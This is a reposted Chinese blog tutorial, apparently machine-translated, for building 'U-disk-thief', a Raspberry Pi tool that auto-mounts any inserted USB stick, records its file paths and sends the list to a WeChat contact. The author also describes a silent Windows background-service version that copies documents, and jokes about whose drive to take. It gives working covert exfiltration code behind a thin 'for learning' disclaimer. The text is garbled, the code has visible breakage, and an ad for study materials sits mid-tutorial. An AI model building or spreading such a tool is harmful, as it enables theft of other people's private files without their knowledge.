如何制作病毒u盘自动运行? (如何制作病毒u盘)

本文转自爱板网,作者 斗战神。

最近一直在学习Python随着研究的深入,爬虫可能会被爬虫技术感染,并开始对获取他人的数据感兴趣,Python写网页爬虫是为了获取别人网站上的数据,可以用吗?Python写一个程序来获取别人U盘上的数据!研究了一些在线程序,结合手中的程序可以带来无限的快乐Raspberry Pi,我开始制作我的第一个简单的黑客工具U-disk-thief(U盘小偷)。

我们要实现的效果是,当有U盘插入到树莓派的USB插入时,将生成插入U盘中文件的名称和路径信息TXT格式文件,然后传输到您制定的微信,程序执行的速度取决于U盘中的文件数量。

这里有一个解释,写这个程序不是为了窃取别人的数据和隐私,只是为了Python学习编程和技术。另一方面,我周围的U盘没有值得获取的有价值的数据。相反,U盘携带各种蠕虫病毒和宏病毒。我经常来找我帮忙杀死U盘或恢复U盘中隐藏的文件。我真的不想把这些U盘链接到电脑上!好了,话不多说,开始我们的生产过程吧!

1.准备材料
(1)树莓派
(2)两部智能手机可以登录微信(分别用于登录两个朋友的微信号)
(3)U盘一个




2.树莓派链接U盘自动识别
因为安装在树莓派上的是树莓派Linux系统,无法自动识别和悬挂插入的U盘,生产前需要在树莓派上设置,实现链接U盘的自动识别,方法如下:
将命令输入树莓派


sudo nano /etc/udev/rules.d/10-usbstorage.rules

嵌入式物联网真的需要学到很多东西,不要学错路线和内容,导致工资不上去!


免费分享一个信息包,大约150G。


免费分享一个信息包,大约150G。学习路线、面经、项目都比较新也比较全面!估计至少要买几十条鱼。

点击这里找小助理0元领取:嵌入式物联网学习资料(头条)




将脚本复制粘贴到编辑窗口

KERNEL!="sd*", GOTO="media_by_label_auto_mount_end"

SUBSYSTEM!="block",GOTO="media_by_label_auto_mount_end"

IMPORT rogram}="/sbin/blkid -o udev -p %N"

ENV{ID_FS_TYPE}=="", GOTO="media_by_label_auto_mount_end"

ENV{ID_FS_LABEL}!="", ENV{dir_name}="%E{ID_FS_LABEL}"

ENV{ID_FS_LABEL}=="", ENV{dir_name}="Untitled-%k"

ACTION=="add", ENV{mount_options}="relatime,sync"


ACTION=="add", ENV{ID_FS_TYPE}=="vfat", ENV{mount_options}="iocharset=utf8,umask=000"

ACTION=="add", ENV{ID_FS_TYPE}=="ntfs", ENV{mount_options}="iocharset=utf8,umask=000"

ACTION=="add", RUN ="/bin/mkdir -p /media/%E{dir_name}", RUN ="/bin/mount -o $env{mount_options}/dev/%k /media/%E{dir_name}"


ACTION=="remove", ENV{dir_name}!="", RUN ="/bin/umount -l /media/%E{dir_name}", RUN ="/bin/rmdir /media/%E{dir_name}"

LABEL="media_by_label_auto_mount_end"


保存退出!

再次插入U盘设备 会自动挂载/media目录下的目录被识别为Untitled-sda1(路径为/media/Untitled-sda1.记住这条路径,以后我们会用的), 实现自动识别后,可支持U盘utf8格式中文文件名。

3.python代码

import os

import time

import shutil

import string

from wxpy import *

#识别U盘路径

USB = '/media/Untitled-sda1'

#生成TXT保存文件的路径

SAVE = '/home/pi/usbdisk-copy/'

OLD=[]

#微信机器人的初始化

bot = Bot()

my_friend = bot.friends().search('高杆')[0]

##获取U盘信息的函数

def usbWalker():

if not os.path.exists(SAVE):

os.mkdir(SAVE)

filename="u-copy.txt"

f=open(filename,"w")

for root, dirs, files in os.walk(USB):

for file in files:

export = os.path.join(root,file)

f.writelines(export '\ ')

f.close

#检测U盘是否重复函数

def getusb():

global OLD

NEW=os.listdir(USB)

if (len(NEW)==len(OLD)):

return 0

else:

OLD=NEW

return 1

#执行程序检测U盘是否插入,并处理!

while TRUE:

if os.path.exists(USB):

if getusb():

try :

usbWalker()

try:

my_friend.send_file('u-copy.txt')

except:

my_friend.send('Send Error')

except:

pass

else:


pass

#设置程序执行间隔10秒

time.sleep(10)




4.代码解析

程序代码更容易理解,首先是检测指定系统路径下的文件夹是否存在,即U盘插入显示的文件夹USB=/media/Untitled-sda1.如果没有,间隔10秒再次检测。如果发现U盘,则执行获取U盘信息的函数def usbWalker(),产生一个函数u-copy.txt存储文本文件'/home/pi/usbdisk-copy/';路径下,注意这里usbdisk-copy我们提前建了文件夹,Python该路径还存储程序文件,u-copy.txt文件生成后将发送到制定的微信中。如果U盘一直插在树莓派上,程序一直在进行,会反复生成u-copy.txt文件,这是不合理的,所以在执行中生成txt在文件函数之前,检测U盘是否重复的函数def getusb(),进行简单的重复比较,如果发现重复,则不执行def usbWalker()函数。

5.应用扩展

这个程序也可以修改windows系统执行,修改代码,增加文件复制函数,不仅可以读取U盘的文件名称和路径,还可以读取U盘的文件名称和路径copy或者可以指定文件的详细内容copyU盘中那些类型的文件(.doc/.xls/.ppt/.txt...),还可以节省微信发送环节,将copy由于树莓派的存储空间相对较小,这里没有存储文件,但我在这里windows上述扩展程序已在系统上完成并使用Python的打包工具pyinstaller 将程序打包成.exe还设置了执行程序windows本地服务后台运行,让U盘数据更加不知不觉。

以上是这个简单的黑客工具,纯粹是为了技术分享。如果你这样做了一些事情bad thing,请自负后果。你脑子里已经想过了吗?copy谁的U盘!

以上是这个简单的黑客工具,纯粹是为了技术分享。如果你这样做了一些事情bad thing,请自负后果。你脑子里已经想过了吗?copy谁的U盘!谨慎,谨慎!!!

原文链接:https://mp.weixin.qq.com/s/LLWxyac2HUUstbWsrwprew

转载自:单片机爱好者

原文链接:Python 树莓派 制作简单的黑客工具U-disk-thief(U盘小偷)版权声明:本文来源于网络,版权归原作者所有。如涉及作品版权,请联系我删除